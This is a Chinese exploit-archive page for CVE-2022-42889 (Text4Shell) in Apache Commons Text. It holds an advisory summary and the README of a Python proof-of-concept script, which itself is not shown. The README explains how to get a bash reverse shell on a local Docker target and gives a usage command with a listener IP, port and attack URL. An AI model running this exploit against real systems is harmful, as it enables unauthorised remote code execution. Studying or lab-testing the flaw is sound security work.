POC详情: d3a3cb174526960ec3a75267254e6c9d35a32614

来源
关联漏洞
标题: Apache Commons Text 代码注入漏洞 (CVE-2022-42889)
描述:Apache Commons Text是美国阿帕奇(Apache)基金会的一个专注于字符串算法的库。 Apache Commons Text 1.5至1.9版本存在安全漏洞,该漏洞源于默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器,可能容易受到远程代码执行或与远程服务器的无意接触的影响。
描述
python script for CVE-2022-42889
介绍
# CVE-2022-42889
Python script for CVE-2022-42889

To test this locally follow the docker POC: https://github.com/karthikuj/cve-2022-42889-text4shell-docker

For a PHP version of this: https://github.com/ClickCyber/cve-2022-42889

If youre running this and exploiting it locally, the IP you need to use is the gateway generated when the docker container is created

After getting a bash shell on the docker container
![image](https://user-images.githubusercontent.com/60675004/197314693-58fad146-e794-4123-b731-65341d6a401a.png)
![image](https://user-images.githubusercontent.com/60675004/197314781-89ac5c15-9ca0-4bb4-8d99-1dcd464fb124.png)



Ensure you make the script executable with chmod

```bash
./cve-2022-42889.py 172.17.0.1 9001 'http://localhost/text4shell/attack?search='
```
![image](https://user-images.githubusercontent.com/60675004/197315166-6e83147f-9ca4-4b5d-b984-6f99880d9b5f.png)


NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-42889

### TLDR: You could also just curl the **request_payload** (variable from the code) example directly.
文件快照

[4.0K] /data/pocs/d3a3cb174526960ec3a75267254e6c9d35a32614 ├── [2.5K] cve-2022-42889.py └── [1.0K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。